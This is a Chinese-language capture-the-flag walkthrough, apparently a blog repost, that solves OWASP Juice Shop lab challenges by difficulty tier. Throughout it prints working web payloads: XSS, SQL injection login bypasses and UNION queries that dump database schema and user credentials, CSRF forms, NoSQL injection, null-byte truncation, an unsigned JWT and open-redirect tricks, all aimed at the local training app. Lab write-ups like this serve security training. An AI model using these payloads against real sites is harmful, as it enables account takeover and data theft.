靶场Juice-Shop学习
作者:互联网
靶场Juice-shop学习
1.安装
使用docker安装juice-shop
docker pull bkimminich/juice-shop
docker run --rm -p 3000:3000 bkimminich/juice-sop
浏览器访问http://localhost:3000即可,在右上角可以切换语言
教程参考juice-shop
使用工具:burpsuite 、owasp zap、exiftool、OpenStego、race-the-web等
2. 一星 ⭐️
Score Board
考点:代码分析
点击 Help getting started 开始 ,提示需要F12查看页面源代码获取第一关提示。在源代码main-es2018.js搜索score得到如下
在URL后添加score-board请求,通过
在第一次出现URL http://localhost:3000/rest/admin/application-configuration 也会出现
暴露出页面URL
Bonus Payload
考点:DOM XSS
在页面搜索框输入payload
<iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"></iframe>
即可通过
Bully Chatbot
考点:暴力破解
回复机器人使用开源软件juicy-chat-bot
尝试输入coupon code、coupons、code等coupon code的组合进行暴力破解,可得
优惠券代码为mNYT0f!Cal,通过
Confidential Document
考点: 目录遍历
在关于我们中有一行特殊的句子,点击链接,发现一个ftp服务
http://localhost:3000/ftp/legal.md
进入ftp目录,发现很多文件
点击acquisitions.md
阅读机密文件,即可通过
DOM XSS
考点:DOM XSS
搜索框中输入payload
<iframe src="javascript:alert(
xss)">
弹窗即可通过
Error Handling
常见404、403、500错误都可以通过
Exposed Metrics
考点:敏感信息泄露
链接常见监测软件 (github.com),可知使用prometheus作为检测工具
默认后端入口http://localhost:3000/metrics ,请求即可通过
Missing Encoding
考点:前端修改
照片墙上 上传的照片没有正确编码,通过前端修改使其正常显示
F12查看页面源码,对比正常显示的图片,构成图片的链接中特殊字符未编码 , 无法读取
# <- URL编码-> %23
结果如下
即可通过
Outdated Allowlist
考点:代码分析 重定向
查看源代码在 main-es2018.js,搜索redirect(重定向)发现URL
请求http://localhost:3000/redirect?to=https://blockchain.info/address/1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm 即可通过
Privacy Policy
登录之后,阅读隐私政策,即可通过
Repetitive Registration
看点: 前端修改
关闭注册button的重复验证,不重复密码就可以注册账户,通过
DRY原则 = Don’t repeat youself
Zero Stars
看点:前端绕过
burp拦截修改评分rating值为0,即可通过
3. 二星 ⭐️⭐️
Admin Section
在mian-es2015.js 搜索admin发现
管理员登录请求,即可通过
http://localhost/#/administration (这个页面名在英语下好猜)
Deprecated Interface
考点:代码分析
在投诉页面查看源代码,搜索B2B
除了可以上传PDF、ZIP文件,还可上传xml文件,上传一个xml文件即可通过
B2B接口应该是指上传接口
Five-Star Feedback
进入管理页面,删除即可通过
Login Admin
考点:注入 万能密码
使用万能密码即可登录管理员账户,即可通过
'or 1=1 --
Login MC SafeSearch
考点:敏感信息泄露 社会工程
谷歌搜索MC SafeSearch,是一个YouTobe音乐视频Protect Ya’ Passwordz。
“But then how do you remember is the question that I get I say why not use the first name of your favorite pet?Mine’s my dog,** Mr. Noodles**. It don’t matter if you know because I was tricky andreplaced some vowels with zeroes.
Mr.Noodles <-0替换元音->Mr.N00dles
mc.safesearch@juice-sh.op / Mr. N00dles
Meta Geo Stalking
考点: 社会工程
忘记john的密码,密保问题最喜欢远足的地方
查看照片墙,有一位twitter账号为johNny发布的图片,他应该就是john
图片下载后获取图片GPS信息
36 deg 57’ 31.38" N, 84 deg 20’ 53.58" W
通过转换为经纬度:-84.348217,36.958717。然后去百度地图反查地址。得到答案是Daniel Boone National Forest
Password Strength
考点:暴力破解
使用burp爆破管理员账号,得到密码为admin123,登录即可通过
Security Policy
考点:security.txt
访问http://localhost:3000/security.txt 即可通过
security.txt:渗透测试人员如何报告漏洞的描述文件
放在网站根目录下
/.well-known/ /.well-known/security.txt /security.txt /.well-known/
View Basket
考点:越权
修改添加购物车链接身份标识即可通过
Visual Geo Stalking
考点:社会工程
忘记emma密码,密保问题 年轻时第一个工作的公司
照片墙 twitter账号为 e=ma^2,应该是emma
左边中间窗户有海报 可得 ITsec
Weird Crypto
反馈z85、base85、base64、md5、hashid都可以
-
Forge a coupon code that gives you a discount of at least 80%关 使用z85算法加密
-
Solve challenge #999关 使用hashid加密
-
数据库Users表中的密码使用没有加salt的MD5算法
-
使用Google账户登录涉及base64加密算法
3. 三星 ⭐️⭐️⭐️
Admin Registration
在新用户注册处修改请求体,添加
"role":"admin"
即可通过
Bjoern’s Favorite Pet
考点: 社会工程
bjoern@owasp.org 密保问题 宠物的名字
https://youtu.be/Lu0-kDdtVf4?t=239 视频中可得 Zaya是他宠物的名字
CAPTCHA Bypass
burp抓取反馈请求
http://localhost:3000/api/Feedbacks/ 重放10次即可通过
CSRF
考点:CSRF
伪造一个来自Real-time HTML Editor (squarefree.com) (在线HTML编辑器)的修改用户名的请求
1.直接修改正常的请求 Referer值为http://htmledit.squarefree.com/即可通过
2.在Real-time HTML Editor (squarefree.com) 编辑CSRF POC,也可以使用Burp自动生成
<form action="http://localhost:3000/profile" method="POST">
<input name="username" value="CSRF"/>
<input type="submit"/>
</form>
<script>document.forms[0].submit();</script>
Database Schema
考点:sqlite
搜索框注出数据库结构,错误信息提示使用sqlite数据库
payload为 '))UNION+SELECT+sql,'2','3','4','5','6','7','8','9'+FROM+sqlite_master--
sqlite: sqlite_master是共有的表,存在sql字段类似MySQL的information_schema
Deluxe Fraud
考点:绕过
修改 http://192.168.1.150:3000/rest/deluxe-membership 请求paymentMode值为none,即可通过
Forged Feedback
1.burp截取
http://localhost:3000/api/Feedbacks/ 修改UserId即可
2.前端修改,使上传表单UserId可以编辑删除 hidden,正常上传即可
Forged Review
burp截取
http://localhost:3000/rest/products/1/reviews 修改author 值即可通过
GDPR Data Erasure
考点:sqlite
在登录界面使用' or deletedAt IS NOT NULL--
登录
sqlite一段时间内删除的数据还可以访问
Login Amy
考点:社会工程
amy的账号为amy@juice-sh.op
搜索93.83 billion trillion trillion centuries
在你的针藏的有多好?网站里发现
可得一个示例密码 D0g…
得到最终密码为 K1f…
amy wang出自动画片《飞出个未来》,她的丈夫是Kif Kroker
Login Bender
考点:sqlite
使用万能密码登录
’ or 1=1 limit 2,1--
Login Jim
考点:sqlite
使用万能密码登录
’ or 1=1 limit 1,1--
Manipulate Basket
burp截取添加购物车请求
http://192.168.1.150:3000/api/BasketItems/ 再添加一个BasketId即可
Payback Time
burp截取
http://192.168.1.150:3000/api/BasketItems/ 修改quantity值为负数,正常支付即可通过
Privacy Policy Inspection
隐私政策中存在特殊css
可以得到 http://localhost We may also instruct you to refuse all reasonably necessary responsibility
请求 http://localhost:3000/we/may/also/instruct/you/to/refuse/all/reasonably/necessary/responsibility 即可通过
Product Tampering
修改跳转链接为https://owasp.slack.com
任选一个请求修改为PUT
使用接口 /api/Products/9 可以更改了商品描述,请求头需要添加content-type
Headers -> Content-Type:application/json
Body ->
{"description": "<a href=\"https://owasp.slack.com\" target=\"_blank\">More...</a>"}
Reset Jim’s Password
账号jim@juice-sh.op 密保问题 哥哥的中间名
账号中保存的地址
jim 应该是星际迷航的角色 James Tiberius Kirk,剧中他的兄弟是George Samuel Kirk
Upload Size
考点:前端绕过
上传一个不满100kb的文件,使用burp截取在文件中增加到100kb以上即可
!文件超过200kb就会报错
Upload Type
考点:前端绕过
上传正常文件,修改文件后缀即可
4.挑战4星⭐️⭐️⭐️⭐️
Access Log
考点:暴力破解
使用 The OWASP ZAP进行暴力破解,遍历所有目录
访问 http://localhost:3000/support/logs 即可通过
Allowlist Bypass
上文中有关于重定向的问题,可以重定向到
https://localhost:3000/redirect?to=https://blockchain.info/address/1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm
重定向的地址设置了白名单,构造语句让重定向的后面不变,将重定向的地址隐藏在URL中
https://localhost:3000/redirect?to=https://www.baidu.com?https://blockchain.info/address/1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm
请求即可定向到任意地址
Christmas Special
考点:sqlite
这个优惠应该与上文删除的账号一样,通过 --
注释掉语句即可
将数据库中所有的数据都查询出来
正常购买,即可
Easter Egg
ftp目录下有eastere.gg文件,绕过下载可得
“Congratulations, you found the easter egg!”
- The incredibly funny developers
…
…
…
Oh’ wait, this isn’t an easter egg at all! It’s just a boring text file! The real easter egg can be found here:
L2d1ci9xcmlmL25lci9mYi9zaGFhbC9ndXJsL3V2cS9uYS9ybmZncmUvcnR0L2p2Z3V2YS9ndXIvcm5mZ3JlL3J0dA==
Good luck, egg hunter!
base64解码后可得/gur/qrif/ner/fb/shaal/gurl/uvq/na/rnfgre/rtt/jvguva/gur/rnfgre/rtt
ROT13 解码此成/the/devs/are/so/funny/they/hid/an/easter/egg/within/the/easter/egg
访问即可通过
ROT13 是凯撒密码的一种变形,简易的置换暗码
Ephemeral Accountant
考点:sqlite
根据上文获取的Users表中的结构,登录时注释掉后面的语句,直接请求返回一个User的完整数据payload为
xxx' UNION SELECT 999, '', 'acc0unt4nt@juice-sh.op', 'password', 'accounting', '', '0.0.0.0', '/assets/public/images/uploads/default.svg', '', 1, '2020-08-15T18:22:49.161Z', '2020-08-15T18:22:49.161Z', null; --
Expired Coupon
根据上文获取的优惠券代码mNYT0f!Cal 正常支付,可以得到
http://localhost:3000/rest/basket/1/checkout
“couponData”:“bU5ZVDBmIUNhbC0xNjEzMDg0NDAwMDAw”
base64解码得到mNYT0f!Cal-1613084400000
查看源代码main-es2018.js,搜索campaign可得
WMNSDY2019-15519996e5 <-base64-> V01OU0RZMjAxOS0xNTUxOTk5NmU1
更改coupondata重放即可
Forgotten Developer Backup
http://localhost:30000/ftp/pakage.json.bak%2500.md
%00截断下载即可通过
Forgotten Sales Backup
http://localhost:3000/ftp/coupons_2013.md.bak%2500.md
GDPR Data Theft
查看用户的个人数据,发现在保存订单数据时会将Email脱敏后保存,只要用户名脱敏后一样订单数据也是一样的
新建一个用户邮箱为 jim@juoce-sh.op,获取了jim的个人数据,导出jim的数据后即可通过。
Legacy Typosquatting
上文在ftp目录找到开发人员的备份文件 package.json.bak其中有系统组件
在反馈中提交epilogue-js,即可通过
Login Bjoern
Bjoern通过google账户注册了账号 bjoern.kimminich@googlemail.com
在源代码main-es2018.js中搜索OAuth,找到登录函数
使用账号颠倒后进行base64编码就可以登录
moc.liamg@hcinimmik.nreojb<=>bjoern.kimminich@gmail.com bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=
Misplaced Signature File
ftp目录下suspicious_errors.yuml文件
参考 SIEM签名文件
NoSQL Manipulation
考点:NoSQL
截取正常评论URL http://localhost:3000/rest/products/1/reviews
修改为PATCH方法,URL为http://localhost:3000/rest/products/reviews
添加请求体 { “id”: { “$ne”: -1 }, “message”: “NoSQL Injection!” }
注:HTTP头需要添加Content-Type: application/json
Poison Null Byte
%00截断下在ftp目录下非md、pdf文件即可
Reset Bender’s Password
考点:社会工程
账户 bender@juice-sh.op 密保问题 成年后在哪工作
根据地址 确定bender是 飞出个未来中的机器人班德
班德最开始工作在一个金属加工厂弯曲钢梁建设自杀电话亭。自从2008年出现自杀电话亭,最主要的品牌是Stop’n’Drop。
可以得知它的密保是 Stop’n’Drop
Reset Uvogin’s Password
考点:社会工程
账户 uvogin@juice-sh.op 密保问题 最喜欢的电影
twitter上有个@uv0gin的账号,存在一条删除的推特显示最喜欢的电影是
Silence of the Lambs(沉默的羔羊)
Steganography
查看客户反馈发现只有一个反馈背景图片是png文件
使用OpenStego提取 图片隐藏数据,可以提取到
这是Pickle Rick(泡菜瑞克)出自Rick_and_Morty(瑞克与莫蒂)
User Credentials
考点:sqlite
遍历出所有的用户名/邮箱、密码
在Users表中获取数据 payload
'))+UNION+SELECT+id,username,password,email,'5','6','7','8','9'+FROM+Users--
Vulnerable Library
配置文件package.json.bak中搜索组件版本信息
可知
sanitize-html
:HTML 字符串的规范化不会递归地应用于输入,从而允许攻击者可能注入脚本和其他标记(请参阅https://snyk.io/vuln/npm:sanitize-html:20160801)express-jwt
:从其依赖项继承身份验证旁路和其他漏洞(请参阅https://app.snyk.io/test/npm/express-jwt/0.1.3)
5.五星挑战⭐️⭐️⭐️⭐️⭐️
Blockchain Hype
-
在浏览器的开发人员工具中打开 ,搜索一些关键字,如"ico",“令牌”,“比特币"或"altcoin”。
main-es2015.js
-
请注意 JavaScript 函数的名称,这些函数发生在 和 中,如 和 。这些名称是混淆的,因此它们可能会有所不同。
Vu()``Hu(l)
-
搜索 中对这些函数的引用可能会产生一些更多的函数,如和一些可能的路由名称
main-es2015.js``zu(l)``app-token-sale
-
导航到http://localhost:3000/#/app-token-sale或变体http://localhost:3000/#/token-sale只是为了意识到这些路由不存在。
-
经过一些更多的追逐通过分明代码,你应该意识到,在路由映射中引用,已经帮助查找仔细隐藏的"分数板"页面和访问存储的管理部分,但不是静态标题。它映射到另一个变量(可能以不同的方式命名您)
Vu``Ca
-
搜索以查找应将匹配器返回到要查找的路由名称的函数的声明。
function Ca(
-
将模糊函数复制到浏览器的 JavaScript 控制台中,并立即通过追加 执行。这可能会产生 一个 。当您将值传递时,喜欢 或 您会注意到输入值只是返回。
()``Uncaught SyntaxError: Unexpected token )``(1)``('a')
-
将路由映射与其他映射进行比较表明,此处的 a 映射到 ,而大多数其他映射映射到其 。
matcher``component``path``component
-
为您提供抢手路径的代码是传递到函数中的代码块!
match()``Ca(l)
-
复制内部代码块并在主机中执行该代码块仍会产生错误!
-
您需要将它追加到一个字符串中,使其正常工作,这将最终生成路径。
/tokensale-ico-ea
-
导航到http://localhost:3000/#/tokensale-ico-ea以解决此难题。
"" + function() {
for (var l = [], n = 0; n < arguments.length; n++)
l[n] = arguments[n];
var e = Array.prototype.slice.call(l)
, t = e.shift();
return e.reverse().map(function(l, n) {
return String.fromCharCode(l - t - 45 - n)
}).join("")
}(25, 184, 174, 179, 182, 186) + 36669..toString(36).toLowerCase() + function() {
for (var l = [], n = 0; n < arguments.length; n++)
l[n] = arguments[n];
var e = Array.prototype.slice.call(arguments)
, t = e.shift();
return e.reverse().map(function(l, n) {
return String.fromCharCode(l - t - 24 - n)
}).join("")
}(13, 144, 87, 152, 139, 144, 83, 138) + 10..toString(36).toLowerCase()
Change Bender’s Password
万能密码登录bender@juice-sh.op
截取更改密码请求URL
http://localhost:3000/rest/user/change-password?current=1&new=slurmCl4ssic&repeat=slurmCl4ssic 删除原密码仍可成功更改密码
Cross-Site Imaging
在高级成员页面查看页面源代码
图片JuiceShop_Logo.png被连续引用,搜索源代码
http://localhost:3000/#/deluxe-membership?testDecal=…%2F…%2F…%2F…%2Fredirect%3Fto%3Dhttps:%2F%2Fplacekitten.com%2Fg%2F400%2F500%3Fx%3Dhttps:%2F%2Fgithub.com%2Fbkimminich%2Fjuice-shop
通过重定向将链接图片复制给testDecal
Email Leak
API支持JSONP,添加URL参数callback返回一个JSONP数据
JSONP 只支持GET,必须要跨域
Extra Language
正常请求语言文件 http://localhost:3000/assets/i18n/zh_CN.json
语言文件组成 区位代码_国家代码.json
暴力破解得到 tlh-AA
tlh指克林贡语,星际迷航中人造的外星语
Frontend Typosquatting
http://localhost:3000/3rdpartylicenses.txt 检索默认第三方许可证列表
anuglar2-qrcode 在反馈中提交即可
Kill Chatbot
chatbot会读取用户名不进行过滤
将用户名设为 admin"); process=null; users.addUser(“1337”, "test即可关闭chatbot
Leaked Access Logs
在https://stackoverflow.com/questions/tagged/access-log搜索juice-shop得到
GET``161.194.17.103 - - [27/Jan/2019:11:18:35 +0000] “GET /rest/user/change-password?current=0Y8rMnww$*9VFYE%C2%A759-!Fg1L6t&6lB&new=sjss22%@%E2%82%AC55jaJasj!.k&repeat=sjss22%@%E2%82%AC55jaJasj!.k8 HTTP/1.1” 401 39 “http://localhost:3000/” “Mozilla/5.0 (Linux; Android 8.1.0; Nexus 5X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.99 Mobile Safari/537.36”
对比哈希 J12934@juice-sh.op 0Y8rMnww$*9VFYE§59-!Fg1L6t&6lB
Login CISO
用OAuth 2.0 Login Ciso@juice-sh.op
添加自定义Http头
Reset Bjoern’s Password
账号 bjoern@juice-sh.op 密保问题 年轻时的邮政编码
bjoern是juice-shop的项目负责人,来自德国
邮政编码是 West-2082
Reset Morty’s Password
账号 morty@juice-sh.op 密保问题 宠物的名字
猜测莫蒂是 莫蒂 史密斯 来自瑞克与莫蒂
他莫蒂有一条狗叫snuffles或snowball
通过leet(黑客语)变形破解得到 结果5N0wb41L
Retrieve Blueprint
*OWASP 果汁店徽标(3D 打印)产品的描述表明,该产品实际上可能具有某种蓝图,exif信息中OpenSCAD显示可能存在.stl文件
下载http://localhost:3000/public/images/products/JuiceShop.stl 成功
Supply Chain Attack
Software Supply Chain Attack ???软件供应链攻击
从软件依赖中提交漏洞原始报告https://github.com/eslint/eslint-scope/issues/39
Two Factor Authentication
通过注入得到 wustbrot@juice-sh.op的deluxe Token为IFTXE3SPOEYVURT2MRYGI52TKJ4HC3KH
通过TFA二步验证APP得到不断变化的6位验证码,登录即可
Unsigned JWT
jwtn3d@juice-sh.op的JWT令牌需要用base64url编码
推荐burp插件JWT
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiJjb3Vwb24gY29kZSIsImVtYWlsIjoiand0bjNkQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiJ1bmRlZmluZWQiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjEtMDItMTAgMTI6NDk6MjguMDg2ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjEtMDItMTAgMTM6Mjc6MDMuMzU5ICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTYxMzAzNzY5MCwiZXhwIjoxNjEzMDU1NjkwfQ.
6.六星挑战 ⭐️⭐️⭐️⭐️⭐️⭐️
Forged Coupon
阅读源码可知加密算法为Z85,优惠券构成为 月份缩写 年份数字-折扣
z85算法可以通过npm下载https://www.npmjs.com/package/z85-cli
npm install -g z85-cli
Forged Signed JWT
rsa_lord@juice-sh.op
爆破目录在(http://localhost:3000/encryptionkeys)找到密钥
使用burp插件JWT修改电子邮件参数为 rsa_lord@juice-sh.op
Imaginary Challenge
在cookie中探索continueCode的生成机制
参考:Hashids - generate short unique ids from integers
var hashids = new Hashids("this is my salt", 60, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890");
var id = hashids.encode(999);
var numbers = hashids.decode(id);
$("#input").text("["+numbers.join(", ")+"]");
$("#output").text(id);
以PUT请求,http://192.168.1.150:3000/rest/continue-code/apply/69OxrZ8aJEgxONZyWoz1Dw4BvXmRGkM6Ae9M7k2rK63YpqQLPjnlb5V5LvDj
Login Support Team
ftp下有一个kdbx文件,是keepass的数据库使用
在源代码中搜索support
翻译后得到Support Team: Our secret is still common Caoimhe master password empty! 1.keepass数据库被一个文件保护着
2.Caoimhe 一个爱尔兰女性的名字
http://localhost:3000/assets/public/images/carousel/6.jpg
图片文件可以解锁
Multiple Likes
使用race-the-web,短时间连续请求时间差在150ms以内即可通过
Premium Paywall
审查元素得到密文
IvLuRfBJYlmStf9XfL6ckJFngyd9LfV1JaaN/KRTPQPidTuJ7FR+D/nkWJUF+0xUF07CeCeqYfxq+OJVVa0gNbqgYkUNvn//UbE7e95C+6e+7GtdpqJ8mqm4WcPvUGIUxmGLTTAC2+G9UuFCD1DUjg==
爆破目录在(http://localhost:3000/encryptionkeys)找到密钥
为1337133713371337.EA99A61D92D2955B1E9285B55BF2AD42
解密,结果**/this/page/is/hidden/behind/an/incredibly/high/paywall/that/could/only/be/unlocked/by/sending/1btc/to/us**
SSRF
在用户的个人资料处可以指定图片链接http://localhost:3000/solve/challenges/server-side?key=tRy_H4rd3r_n0thIng_iS_Imp0ssibl3 造成SSRF
标签:Shop,http,juice,Juice,考点,即可,3000,靶场,localhost 来源: https://blog.csdn.net/qq_36531487/article/details/113863816